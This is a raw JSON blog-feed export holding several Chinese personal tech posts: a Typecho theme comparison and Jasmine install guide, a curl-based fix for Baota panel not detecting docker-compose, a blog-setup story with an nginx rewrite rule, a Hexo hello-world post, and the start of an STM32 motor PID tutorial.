colspan=\"1\"\u003e双栏\u003c/td\u003e\n\u003ctd\u003eAnatole\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://typechx.com/themes/anatole.html\" target=\"_blank\"\u003eAnatole\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e似乎没有\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eMatcha\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://typechx.com/themes/1577.html\" target=\"_blank\"\u003eMatcha\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://github.com/BigCoke233/matcha\" target=\"_blank\"\u003eBigCoke233/matcha\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eInitial\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://typechx.com/themes/1247.html\" target=\"_blank\"\u003eInitial\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://github.com/jielive/initial\" target=\"_blank\"\u003ejielive/initial\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eWIKI\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://typechx.com/themes/793.html\" target=\"_blank\"\u003eWIKI\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e似乎没有\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eEston\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://typechx.com/themes/eston.html\" target=\"_blank\"\u003eEston\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e似乎没有\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd rowspan=\"3\" colspan=\"1\"\u003e三栏\u003c/td\u003e\n\u003ctd\u003eMoz\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://typechx.com/themes/moz.html\" target=\"_blank\"\u003eMoz\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://github.com/17px/typecho-theme-Moz\" target=\"_blank\"\u003e17px/typecho-theme-Moz\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJasmine\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://typechx.com/themes/1566.html\" target=\"_blank\"\u003eJasmine\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://github.com/liaocp666/Jasmine\" target=\"_blank\"\u003eliaocp666/Jasmine\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\u003c/table\u003e\n\u003cul\u003e\n\u003cli\u003e经过漫长的比较,我决定在 \u003ca rel=\"noopener noreferrer\" href=\"https://github.com/BigCoke233/matcha\" title=\"Matcha\"\u003eMatcha\u003c/a\u003e 和 \u003ca rel=\"noopener noreferrer\" href=\"https://github.com/liaocp666/Jasmine\" title=\"Jasmine\"\u003eJasmine\u003c/a\u003e 中选一个。\u003c/li\u003e\n\u003cli\u003e犹豫再三之后,我最后选择了 \u003ca rel=\"noopener noreferrer\" href=\"https://github.com/liaocp666/Jasmine\" title=\"Jasmine\"\u003eJasmine\u003c/a\u003e。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-主题安装\" href=\"https://blog.lsy223622.com/archives/14/#content-%E4%B8%BB%E9%A2%98%E5%AE%89%E8%A3%85\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e主题安装\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e官方文档 \u003ca rel=\"noopener noreferrer\" href=\"https://github.com/liaocp666/Jasmine/wiki/%E4%B8%BB%E9%A2%98%E5%AE%89%E8%A3%85\" title=\"GitHub\"\u003eGitHub\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2\u003e\u003ca id=\"content-环境\" href=\"https://blog.lsy223622.com/archives/14/#content-%E7%8E%AF%E5%A2%83\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e环境\u003c/h2\u003e\n\u003cp\u003e需要以下环境运行\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eTypecho 1.2+\u003c/li\u003e\n\u003cli\u003ePHP 7.2+\u003c/li\u003e\n\u003cli\u003eMySQL 5.7+\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca id=\"content-安装\" href=\"https://blog.lsy223622.com/archives/14/#content-%E5%AE%89%E8%A3%85\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e安装\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e下载主题压缩包 \u003ca rel=\"noopener noreferrer\" href=\"https://github.com/liaocp666/Jasmine/releases/latest/download/jasmine.zip\" title=\"jasmine.zip\"\u003ejasmine.zip\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e解压下载文件,并上传至 \u003ccode\u003eusr/themes/\u003c/code\u003e 目录下\u003c/li\u003e\n\u003cli\u003e启用此主题\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca id=\"content-更新\" href=\"https://blog.lsy223622.com/archives/14/#content-%E6%9B%B4%E6%96%B0\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e更新\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e在主题选项中,点击创建备份,可备份现有主题选项**(可选)**\u003c/li\u003e\n\u003cli\u003e参考安装\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-主题设置\" href=\"https://blog.lsy223622.com/archives/14/#content-%E4%B8%BB%E9%A2%98%E8%AE%BE%E7%BD%AE\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e主题设置\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e官方文档 \u003ca rel=\"noopener noreferrer\" href=\"https://github.com/liaocp666/Jasmine/wiki/%E8%AE%BE%E7%BD%AE%E6%96%87%E6%A1%A3\" title=\"GitHub\"\u003eGitHub\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003ccode\u003e控制台\u003c/code\u003e/\u003ccode\u003e外观\u003c/code\u003e/\u003ccode\u003e设置外观\u003c/code\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e没啥特别的,照文档做就行\u003c/li\u003e\n\u003cli\u003e关于站长部分的 \u003ccode\u003eGitHub\u003c/code\u003e 等信息添加超链接可以使用以下 \u003ccode\u003eHTML\u003c/code\u003e 代码\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre\u003e\u003ccode class=\"language-html\"\u003e\u0026lt;a href=\u0026#34;https://github.com/lsy223622\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;lsy223622\u0026lt;/a\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch1\u003e\u003ca id=\"content-截图\" href=\"https://blog.lsy223622.com/archives/14/#content-%E6%88%AA%E5%9B%BE\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e截图\u003c/h1\u003e\n\u003cp\u003e\u003cimg src=\"https://blog.lsy223622.com/usr/uploads/2024/04/623228307.png\" alt=\"浅色模式\" loading=\"lazy\"/\u003e\n\u003cimg src=\"https://blog.lsy223622.com/usr/uploads/2024/04/595186996.png\" alt=\"深色模式\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\n","url":"https://blog.lsy223622.com/archives/14/"},{"title":"宝塔面板提示当前未安装 docker 或 docker-compose 未安装的解决方式","time":"2024-04-19T09:57:00Z","content":"\u003chr /\u003e\u003ch1\u003e\u003ca id=\"content-目录\" href=\"https://blog.lsy223622.com/archives/4/#content-%E7%9B%AE%E5%BD%95\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e目录\u003c/h1\u003e\n\u003cul class=\"table-of-contents\"\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/4/#content-%E7%9B%AE%E5%BD%95\"\u003e目录\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/4/#content-%E7%8E%B0%E8%B1%A1\"\u003e现象\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/4/#content-%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95\"\u003e解决方法\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/4/#content-%E7%9B%B8%E5%85%B3%E9%93%BE%E6%8E%A5\"\u003e相关链接\u003c/a\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-现象\" href=\"https://blog.lsy223622.com/archives/4/#content-%E7%8E%B0%E8%B1%A1\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e现象\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e宝塔面板点击 \u003ccode\u003eDocker\u003c/code\u003e 菜单,提示 \u003ccode\u003e当前未安装 docker 或 docker-compose 未安装\u003c/code\u003e 。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e终端输入 \u003ccode\u003edocker -v\u003c/code\u003e 能正常看到 Docker 版本信息。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e重启或重装 Docker 也没有变化。\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-解决方法\" href=\"https://blog.lsy223622.com/archives/4/#content-%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e解决方法\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e终端输入以下命令:\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003eCompose_Download_Url=\u0026#34;http://download.bt.cn/install/src/docker-compose-$(uname -s)-$(uname -m)\u0026#34;\nCompose_Path=\u0026#34;/usr/local/bin/docker-compose\u0026#34;\nCompose_lin=\u0026#34;/usr/bin/docker-compose\u0026#34;\ncurl -sSL $Compose_Download_Url -o $Compose_Path\nln -sf $Compose_Path $Compose_lin\n\u003c/code\u003e\u003c/pre\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e刷新宝塔面板网页。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e此时应该已经可以正常使用宝塔面板的 Docker 管理页面。\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-相关链接\" href=\"https://blog.lsy223622.com/archives/4/#content-%E7%9B%B8%E5%85%B3%E9%93%BE%E6%8E%A5\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e相关链接\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003ca rel=\"noopener noreferrer\" href=\"https://www.nzw6.com/6312.html\"\u003e参考文章\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n","url":"https://blog.lsy223622.com/archives/4/"},{"title":"终于想起来搭博客了","time":"2024-04-07T12:10:00Z","content":"\u003chr /\u003e\u003ch1\u003e\u003ca id=\"content-目录\" href=\"https://blog.lsy223622.com/archives/3/#content-%E7%9B%AE%E5%BD%95\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e目录\u003c/h1\u003e\n\u003cul class=\"table-of-contents\"\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/3/#content-%E7%9B%AE%E5%BD%95\"\u003e目录\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/3/#content-%E5%86%99%E5%9C%A8%E5%89%8D%E9%9D%A2\"\u003e写在前面\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/3/#content-%E4%B8%BA%E4%BB%80%E4%B9%88%E8%A6%81%E6%90%AD%E5%8D%9A%E5%AE%A2%E8%AE%B2%E6%95%85%E4%BA%8B%E7%8E%AF%E8%8A%82\"\u003e为什么要搭博客(讲故事环节)\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/3/#content-%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA%E8%AE%B0%E5%BD%95\"\u003e博客搭建记录\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/3/#content-%E5%AE%89%E8%A3%85%E8%BF%87%E7%A8%8B\"\u003e安装过程\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/3/#content-%E6%9F%A5%E9%94%99%E8%AE%B0%E5%BD%95\"\u003e查错记录\u003c/a\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/3/#content-%E5%86%99%E5%9C%A8%E5%90%8E%E9%9D%A2\"\u003e写在后面\u003c/a\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-写在前面\" href=\"https://blog.lsy223622.com/archives/3/#content-%E5%86%99%E5%9C%A8%E5%89%8D%E9%9D%A2\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e写在前面\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e博客刚搭好,先 bb 一篇文章出来,顺便作为测试了。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch1\u003e\u003ca id=\"content-为什么要搭博客讲故事环节\" href=\"https://blog.lsy223622.com/archives/3/#content-%E4%B8%BA%E4%BB%80%E4%B9%88%E8%A6%81%E6%90%AD%E5%8D%9A%E5%AE%A2%E8%AE%B2%E6%95%85%E4%BA%8B%E7%8E%AF%E8%8A%82\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e为什么要搭博客(讲故事环节)\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e从高中时候开始玩服务器,那时候还是用的 \u003cstrong\u003e阿里云学生机\u003c/strong\u003e 。高考结束时候正好学生机到期,但那几天还在忙各种自主招生的事情,等有空搞服务器的时候才发现学生机已经到期,而且阿里云的 \u003cstrong\u003e学生机计划没了\u003c/strong\u003e ,当前的这个机子续费要 \u003cstrong\u003e一百多一个月\u003c/strong\u003e ,于是放弃。当时甚至没有机会下载服务器上的数据。算了,有意义的数据也没多少,丢了就丢了吧。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e上大学时候发现腾讯云有 \u003cstrong\u003e178 三年\u003c/strong\u003e 的优惠服务器, \u003cstrong\u003e2c4g8m80g\u003c/strong\u003e ,算下来性价比比学生机还要高,于是购买。没过多久竟然还推出了这款服务器 \u003cstrong\u003e免费升级 4c\u003c/strong\u003e 的活动,性价比再升一级。又过几个月又发现了 \u003cstrong\u003e1000g 云硬盘三年只要不到 30 块\u003c/strong\u003e ,四舍五入几乎等于不要钱,下单挂载。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e现在这个服务器这两年来一直在增加不少的网站应用,也有些别的非网站应用。这样的配置在普通玩家的境内云服务器里面已经算挺不错的了,无论是性能、带宽还是硬盘容量都是非常的宽裕。不过之前在这个服务器上放的基本上都是给自己用的服务,像是 \u003ccode\u003eNextCloud``Tailscale\u003c/code\u003e 之类的,别人虽然看得见,但也不能在这里得到什么信息。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e之前用阿里云学生机的时候也试过几个博客应用,但应该也没写什么东西。一方面是觉得 \u003cstrong\u003e写了也没什么人看\u003c/strong\u003e ,另一方面是觉得 \u003cstrong\u003e我表达能力也不怎么样\u003c/strong\u003e ,写出来不好看,于是后来到腾讯云也没再放博客了。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e之所以现在又开始打算写博客了,也是有几点原因。一是感觉这几年真的在很多领域的 \u003cstrong\u003e技术\u003c/strong\u003e 方面有不少研究,记录下来 \u003cstrong\u003e方便自己也方便他人\u003c/strong\u003e ,不然慢慢忘了就真可惜了;二是我现在还是大学生,能有个博客体现我的 \u003cstrong\u003e实践经验和能力\u003c/strong\u003e ,在之后的 \u003cstrong\u003e升学或者求职\u003c/strong\u003e 应该也是有一定用处的,毕竟到那时候光靠自己回忆也不一定能想到多少东西,表达也不直观;三是感觉朋友们有博客的人还是挺多的, \u003cstrong\u003e互相交流或者交换友链\u003c/strong\u003e 的时候能有个博客链接也有点面子;四是发现真得多给自己找点事情做, \u003cstrong\u003e没事干就会 emo\u003c/strong\u003e 。\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-博客搭建记录\" href=\"https://blog.lsy223622.com/archives/3/#content-%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA%E8%AE%B0%E5%BD%95\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e博客搭建记录\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e 其实这段是不是可以作为一篇新的文章?但毕竟这么搭一下确实挺简单的,就写在这里吧。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cul\u003e\n\u003cli\u003e我这次选择的博客程序是 \u003ccode\u003eTypecho\u003c/code\u003e ,虽然是几年不更新的老东西了,但感觉简洁够用,用的人也不少,也不算停更,于是就这样了。其实我的要求也就是用 \u003ccode\u003ePHP\u003c/code\u003e 写的和支持 \u003ccode\u003eMarkdown\u003c/code\u003e ,基本上大家都满足的啦。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca id=\"content-安装过程\" href=\"https://blog.lsy223622.com/archives/3/#content-%E5%AE%89%E8%A3%85%E8%BF%87%E7%A8%8B\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e安装过程\u003c/h2\u003e\n\u003cp\u003e\u003cdel\u003e下载 Typecho 压缩包,上传服务器解压,这真太简单了没啥好写的吧。\u003c/del\u003e\u003c/p\u003e\n\u003ch3\u003e\u003ca id=\"content-查错记录\" href=\"https://blog.lsy223622.com/archives/3/#content-%E6%9F%A5%E9%94%99%E8%AE%B0%E5%BD%95\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e查错记录\u003c/h3\u003e\n\u003cblockquote\u003e\n\u003cp\u003e其实写这篇文章的时候已经基本上忘了当时遇到哪些问题了,就凭印象写几点吧。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e用的 \u003ccode\u003eJoe\u003c/code\u003e 主题似乎对 \u003ccode\u003ePHP8\u003c/code\u003e 支持不大好,于是切换到 \u003ccode\u003ePHP7.4\u003c/code\u003e 。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e为了让链接好看要配置伪静态:\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre\u003e\u003ccode class=\"language-nginx\"\u003e if (!-e $request_filename) {\n rewrite ^(.*)$ /index.php$1 last;\n }\n\u003c/code\u003e\u003c/pre\u003e\n\u003cul\u003e\n\u003cli\u003e就想到这些了。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-写在后面\" href=\"https://blog.lsy223622.com/archives/3/#content-%E5%86%99%E5%9C%A8%E5%90%8E%E9%9D%A2\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e写在后面\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e话说这服务器买了三年,21 年买的,也就是说今年就要到期了,那之后该怎么办呢~\u003c/li\u003e\n\u003c/ul\u003e\n\n","url":"https://blog.lsy223622.com/archives/3/"}]}],"update":"2024-10-15T04:30:31.596913138Z"} \ No newline at end of file +{"author":[{"name":"Hiang's BLOG","email":"","uri":"https://hiangzahoong.github.io/","description":"","article":[{"title":"Hello World","time":"2024-05-03T03:51:53.173Z","content":"\u003clink rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"\\assets\\css\\APlayer.min.css\"\u003e\u003cscript src=\"\\assets\\js\\APlayer.min.js\" cla\u003chr /\u003e\u003clink rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"\\assets\\css\\APlayer.min.css\"\u003e\u003cscript src=\"\\assets\\js\\APlayer.min.js\" class=\"aplayer-secondary-script-marker\"\u003e\u003c/script\u003e\u003ch2 id=\"前因\"\u003e\u003ca href=\"#前因\" class=\"headerlink\" title=\"前因\"\u003e\u003c/a\u003e前因\u003c/h2\u003e\u003cp\u003e一直都有搭个博客玩玩的想法,今日终于实现。\u003c/p\u003e\u003cp\u003e依赖github+hexo搭起了这个博客。\u003c/p\u003e\u003cp\u003e也没啥好说的。\u003c/p\u003e\u003cp\u003e给大伙看看昨天出去野餐拍的风景吧。\u003c/p\u003e\u003cimg src=\"/post/4a17b156/image1.jpg\" class title=\"杭州城西休闲公园\"\u003e\u003chr\u003e\u003ch2 id=\"博客搭建\"\u003e\u003ca href=\"#博客搭建\" class=\"headerlink\" title=\"博客搭建\"\u003e\u003c/a\u003e博客搭建\u003c/h2\u003e\u003cp\u003e博客刚搭建起来,也只有一些基本的功能。还有很多新的模块可以探索,虽然不太用得到,但也还挺有意思。\u003c/p\u003e\u003cp\u003e添加功能以后就在这里记录一下吧。\u003c/p\u003e\u003ch3 id=\"05-11\"\u003e\u003ca href=\"#05-11\" class=\"headerlink\" title=\"05.11\"\u003e\u003c/a\u003e05.11\u003c/h3\u003e\u003cul\u003e\u003cli\u003e添加了在线聊天室功能,使用chatra\u003c/li\u003e\u003c/ul\u003e","url":"https://hiangzahoong.github.io/post/4a17b156.html"}]},{"name":"Canxin Site","email":"Unknown","uri":"https://canxin121.github.io/","description":"Recent content on Canxin Site","article":[{"title":"屏幕 控制 电机(pid)","time":"2023-09-18T00:00:00Z","content":"\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/cover.png\" alt=\"Featured image of post 屏幕 控制 电机(pid)\" /\u003e\u003ch1 id=\"保命事项\"\u003e保命事项\u003c/h1\u003e\n\u003col\u003e\n\u003cli\u003eVCC等电压和GND接地千万不要接反! 否则板子升天, money打水漂.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"元器件列表\"\u003e元器件列表\u003c/h2\u003e\n\u003cp\u003e感谢物院实验室某佬倾情相借!\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eStm32 H750VBT6\u003c/li\u003e\n\u003cli\u003e轮趣科技 Tb6612 稳压版电机驱动\u003c/li\u003e\n\u003cli\u003e轮趣科技 MG513 霍尔解码器版电机\u003c/li\u003e\n\u003cli\u003eTJC3224K024 触控屏\u003c/li\u003e\n\u003cli\u003ePWlink2 lite版本 下载\\调试器\u003c/li\u003e\n\u003cli\u003e一块电池\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"使用工具\"\u003e使用工具\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eVscode + EIDE套装\u003c/li\u003e\n\u003cli\u003eKeil u5(\u003c/li\u003e\n\u003cli\u003eStm Cube MX\u003c/li\u003e\n\u003cli\u003eUSART HMI (TJC图形化编程工具)\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"实践过程\"\u003e实践过程\u003c/h2\u003e\n\u003ch3 id=\"接线\"\u003e接线\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e\u003cem\u003e电机\u003c/em\u003e 和 \u003cem\u003e驱动板\u003c/em\u003e接线, 这里直接使用附赠的排线连接.\u003c/li\u003e\n\u003cli\u003e\u003cem\u003e驱动板\u003c/em\u003e 和 \u003cem\u003eStm主板\u003c/em\u003e 接线 ( 可以按照自己喜欢的布局连接, 也可以参考驱动板厂家给出的示例.\u003c/li\u003e\n\u003cli\u003e\u003cem\u003e显示屏\u003c/em\u003e 和 \u003cem\u003eStm主板\u003c/em\u003e 接线 (TX,RX对接就完了), 这里电池给显示屏供电, 所以直接接到了驱动板引出的5v和GND.\u003c/li\u003e\n\u003cli\u003e\u003cem\u003ePwlink2lite下载器\u003c/em\u003e 和 \u003cem\u003eStm主板\u003c/em\u003e 接线( 这里要单独接一个TX-\u0026gt;RX, 用来输出调试信息).\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e这里简单介绍下不同串口的接线意义:\u003c/p\u003e\n\u003ch4 id=\"驱动板和stm\"\u003e驱动板和Stm\u003c/h4\u003e\n\u003col\u003e\n\u003cli\u003e驱动板的 E2A和E2B (这里的2代表用的第二个电机,也就是B电机,\u0026ldquo;A\u0026rdquo;,\u0026ldquo;B\u0026quot;代表编码器的A相和B相) 接 Stm 的 两个Pin设定同一个TIM并且将该TIM设定为Combined Mode下的Encoder Mode用来解码从电机获取的实际转速(这里实际是 固定时间的位移 正比于速度, 可以当成转速来用)\u003c/li\u003e\n\u003cli\u003e驱动板的 ADC 接口 (这里是用来读取电压) 接 Stm 的 Pin 设定为 ADC_IN.(呃呃,这里最后其实没把电压显示出来,所以没用上)\u003c/li\u003e\n\u003cli\u003e驱动板的 PWMB (这里的B就是代表B电机了) 接 Stm 的 Pin 设定为 TIM 并将对应 TIM 的 对应 CH 设定为PWM GENERATION CHx, 用来输出PWM信号\u003c/li\u003e\n\u003cli\u003e驱动版的 BIN1,2 接 Stm 的 Pin 设定为 GPIO OUTput, 用来设定电机旋转的模式\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e还有其他的使能,电源接口就不赘述了.可以查看 驱动板的使用说明\u003c/p\u003e\n\u003ch4 id=\"触控屏和stm\"\u003e触控屏和Stm\u003c/h4\u003e\n\u003col\u003e\n\u003cli\u003e触控屏使用UART通信, TX,RX 和 Stm 对接(小白注意嗷,TX-\u0026gt;RX对接), Stm上的 两个Pin 设置RX,TX(这里用的USART), 并且要打开对应USART的NVIC (中断)\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch4 id=\"stm和-pwlink2lite-下载器\"\u003eStm和 PwLink2lite 下载器\u003c/h4\u003e\n\u003col\u003e\n\u003cli\u003e调试下载的直接对应相连, 电压接3v3, GND对接\u003c/li\u003e\n\u003cli\u003ePwlink2lite 的 Rx 接到Stm 的 Pin 设置为 USART TX, 用来发送调试信息(后面的代码部分会提到Printf的重定向)\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"stm-cube-mx-配置\"\u003eStm Cube MX 配置\u003c/h3\u003e\n\u003cp\u003e这里的创建工程略过, 小白可以自己看看MX的教学视频\u003c/p\u003e\n\u003ch4 id=\"串口设定pin-out\"\u003e串口设定(Pin OUT)\u003c/h4\u003e\n\u003ch5 id=\"这里的串口要对应好自己的实际接线\"\u003e这里的串口要对应好自己的实际接线.\u003c/h5\u003e\n\u003cp\u003e\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/pin_out.png\"\nwidth=\"1112\"\nheight=\"989\"\nsrcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/pin_out_hu06611d6c8d4fc68f059f2a7211a156e7_199638_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/pin_out_hu06611d6c8d4fc68f059f2a7211a156e7_199638_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nclass=\"gallery-image\"\ndata-flex-grow=\"112\"\ndata-flex-basis=\"269px\"\n\u003e\u003c/p\u003e\n\u003ch4 id=\"串口相应功能设定\"\u003e串口相应功能设定\u003c/h4\u003e\n\u003cp\u003e这些功能要对应好你实际的串口设定\u003c/p\u003e\n\u003ch5 id=\"tim\"\u003eTIM\u003c/h5\u003e\n\u003cp\u003e\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/rcc.png\"\nwidth=\"1417\"\nheight=\"635\"\nsrcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/rcc_hu749d9b4ca982880304e14ae1d218a3b9_148125_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/rcc_hu749d9b4ca982880304e14ae1d218a3b9_148125_1024x0_resize_box_3.png 